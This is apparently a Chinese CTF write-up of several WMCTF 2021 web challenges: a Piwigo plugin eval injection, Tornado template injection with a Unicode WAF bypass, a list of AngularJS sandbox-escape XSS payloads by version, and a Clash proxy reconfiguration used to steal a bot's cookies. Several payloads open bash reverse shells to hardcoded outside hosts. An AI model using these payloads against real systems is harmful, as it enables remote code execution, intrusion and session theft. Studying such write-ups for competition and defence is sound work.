0%

WMCTF 2021

复现一下🙃

ez piwigo

admin弱口令直接进入后台,看到LocalFiles Editor插件里看到admin.php

1
https://github.com/Piwigo/LocalFilesEditor/blob/96ddd392a14ae2caef3416b379c0868610d2d15f/admin.php#L81

此处的eval_syntax函数的参数可控,跟进eval_syntax()方法,发现$code参数会拼接到eval函数里面

1
$eval = eval('if(0){' . $code . '}');

可以闭合原语句来注入PHP语句,payload

1
2
<?php
};system('bash -c "bash -i >& /dev/tcp/ip 0>&1"');if(0){

Number

官方解法

首先本题F12进入/view之后可以看到模板

1
2
3
4
5
{% if test == lucky_number %}
<div class="center">You're so lucky</div>
{% else %}
<div class="center">You're not lucky enough</div>
{% end %}

会将我们输入的值直接加载进模板,然后和lucky_number比较

这里tornado解析模板是直接拼接的代码

这里可以构造类似a1=str(bytearray([xx]))[-3:-2]依次构造字符串

最后构造eval(a1+a2+a3)执行代码,生成脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$a = '__import__("os").system("bash -c \'exec bash -i &>/dev/tcp/134.175.168.213/1234 <&1\'")';
$result = '';
$eval = '';
for($i=0;$i<strlen($a);$i++)
{
$result .= 'a'.$i.'=str(bytearray([0x'.bin2hex($a[$i]).']))[-3:-2]'.PHP_EOL;
$eval = $eval.'a'.$i.'+';
}
echo substr($result,0,-1);
echo 'eval('.substr($eval,0,-1).')';
?>

Nu1L战队解法

直接用unicode normalize,导致 exec 可以执行 unicode 代码

可以利用特殊的字符绕过waf

1
2
ᵉˣᵉᶜ
𝑒𝑥𝑒𝑐

生成脚本如下

1
2
3
4
5
6
7
8
9
<?php
$a = 'import os;os.system("bash -c \'exec bash -i &>/dev/tcp/134.175.168.213/1234 <&1\'")';
$result = '';
for($i=0;$i<strlen($a);$i++)
{
$result .= 'bytes(['.ord($a[$i]).'])+';
}
echo substr($result,0,-1);
?>

看了队里r2师傅的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import unicodedata
function="exec"
args='import os;os.system("calc")'
payload=""
for ch in function:
for i in range(65535):
if ch!=chr(i) and unicodedata.normalize("NFKC",chr(i))==ch:
payload+=chr(i)
break
payload+="("
for ch in args:
payload+="bytes([%d])+"%(ord(ch))
payload=payload[:len(payload)-1]
payload+=")"
print(payload)
eval(payload)

granddad’s guestbook

本题所欠缺的知识:

AngularJS是一个著名的基于JavaScript的开源Web框架,用于前端编程

Angular<1.6内的典型XSS payload如下

1
{{ 7 * 7 }}

如果payload成功执行,结果49将会出现

1
2
3
4
5
6
7
8
9
<html>
<head>
<meta charset="utf-8">
<script src="https://cdn.bootcss.com/angular.js/1.1.5/angular.min.js"></script>
</head>
<body>
<div ng-app>{{ 7 * 7 }}</div>
</body>
</html>

下面是一些 AngularJS 绕过的 Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
//1.0.1 - 1.1.5
{{constructor.constructor('alert(1)')()}}

//1.2.0 - 1.2.1
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

//1.2.2 - 1.2.5
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

//1.2.6 - 1.2.18
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

//1.2.19 - 1.2.23
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

//1.2.24 - 1.2.29
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

//1.3.0
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}

//1.3.1 - 1.3.2
{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');
}}

//1.3.3 - 1.3.18
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;

'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}

//1.3.19
{{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
$eval('x=alert(1)//');
}}

//1.3.20
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

//1.4.0 - 1.4.9
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

//1.5.0 - 1.5.8
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(42),a')}}');}}

//1.5.9 - 1.5.11
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}

更加详细的可参考:https://xz.aliyun.com/t/4638

本题在报告Report处可以提交url,我们可以通过提交⼀个平台XSS来实现对管理员的信息进行读取,发现在前端源码中引入了angular.js,并且ng-app是开启状态,因此就去找angular.jscsti的相关信息

然而本题的angular.js1.8.8版本的,默认1.6以后angular项目组就关闭了沙盒,所以沙盒不用绕过,直接用payload打即可

1
{{constructor.constructor('alert(1)')()}}

到这里就可以成功触发xss

scientific_adfree_networking

这题主要看残灯师傅的解题过程,题目的总体思路

  1. report的时候让bot访问我们vpshtml文件
  2. 其中的/logout?next=实现任意跳转访问我们vpshtml文件可以触发js代码
  3. js代码中写好clash代理的配置可以通过external-controller控制api来走自己的代理获取cookie

clash代理

题目中的浏览器使用的是clash代理,我们可以修改clash配置中的external-controller选项来指定api的位置,题目中的api的位置在127.0.0.1:9090

总体的思路就是是修改clash的配置,让浏览器走我们的代理,然后再次访问blog.tomswebsite.com:8888,这样的话我们就能抓到bot登陆blog.tomswebsite.com:8888cookie

这里修改的clash配置为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
mixed-port: 1080
allow-lan: false
mode: Rule
log-level: debug
external-controller: '127.0.0.1:9090'

proxies:
- name: 'http'
type: http
server: 159.75.23.54
port: 20002

proxy-groups:
- name: 'jrxnm'
type: select
proxies:
- http

rules:
- IP-CIDR,127.0.0.0/8,jrxnm
- MATCH,jrxnm

其中159.75.23.54:20002是自己的代理服务器

http代理

HTTP 代理存在两种形式

  • 第一种是 RFC 7230 - HTTP/1.1: Message Syntax and Routing

这种代理扮演的是「中间人」角色,对于连接到它的客户端来说,它是服务端;对于要连接的服务端来说,它是客户端,它就负责在两端之间来回传送 HTTP 报文

然后什么是正向代理和反向代理呢

正向代理:我们国内访问谷歌,直接访问访问不到,我们可以通过一个正向代理服务器,请求发到代理服,代理服务器能够访问谷歌,这样由代理去谷歌取到返回数据,再返回给我们,这样我们就能访问谷歌了

image-20210906211610556

反向代理:指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端

image-20210906211623115

  • 第二种是 Tunneling TCP based protocols through Web proxy servers(通过 Web 代理服务器用隧道方式传输基于 TCP 的协议)

HTTP 客户端通过 CONNECT 方法请求隧道代理创建一条到达任意目的服务器和端口的 TCP 连接,并对客户端和服务器之间的后继数据进行盲转发

最后,将两种代理的实现代码合二为一,就可以得到全功能的 Proxy 程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
var http = require('http');
var net = require('net');
var url = require('url');

function request(cReq, cRes) {
var u = url.parse(cReq.url);

var options = {
hostname : u.hostname,
port : u.port || 80,
path : u.path,
method : cReq.method,
headers : cReq.headers
};

var pReq = http.request(options, function(pRes) {
cRes.writeHead(pRes.statusCode, pRes.headers);
pRes.pipe(cRes);
}).on('error', function(e) {
cRes.end();
});

cReq.pipe(pReq);
}

function connect(cReq, cSock) {
var u = url.parse('http://' + cReq.url);

var pSock = net.connect(u.port, u.hostname, function() {
cSock.write('HTTP/1.1 200 Connection Established\r\n\r\n');
pSock.pipe(cSock);
}).on('error', function(e) {
cSock.end();
});

cSock.pipe(pSock);
}

http.createServer()
.on('request', request)
.on('connect', connect)
.listen(8888, '0.0.0.0');

这里就是用来接收cookie的代理,这里需要往服务器hosts添加

1
127.0.0.1 blog.tomswebsite.com

然后在本地8888端口进行nc的监听

任意跳转

/logut?next=xxxx是存在任意url跳转的,我们可以将 /logout?next= 设置成自己vps,提交反馈,让bot来访问我们的vps,当他来访问时,就触发了js代码的执行,让bot去请求restful接口,设置代理为我们vps

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<html>
<body></body>
<script>
function sleep (time) {
return new Promise((resolve) => setTimeout(resolve, time));
}
function setConfig(){
config = '{"payload":"mixed-port: 1080\\nallow-lan: true\\nmode: Rule\\nlog-level: debug\\nexternal-controller: \'127.0.0.1:9090\'\\n\\nproxies:\\n - name: \'http\'\\n type: http\\n server: 159.75.23.54\\n port: 20002\\n\\nproxy-groups:\\n - name: \'jrxnm\'\\n type: select\\n proxies:\\n - http\\n\\nrules:\\n - IP-CIDR,127.0.0.0/8,jrxnm\\n - MATCH,jrxnm\\n"}';
console.log(config);

fetch("http://127.0.0.1:9090/configs", {
method: 'PUT',
headers: new Headers({
'Content-Type': 'application/json'
}),
body: config,
}).then(function(response) {
return response.text();
}).then(function(data) {
}).catch(function(e) {
console.log("error");
});
}
(async function() {
setConfig();
await sleep(300);
location.href = "http://blog.tomswebsite.com:8888";
})();
</script>
</html>

然后拿接收到的cookie解密之后登录即可获取flag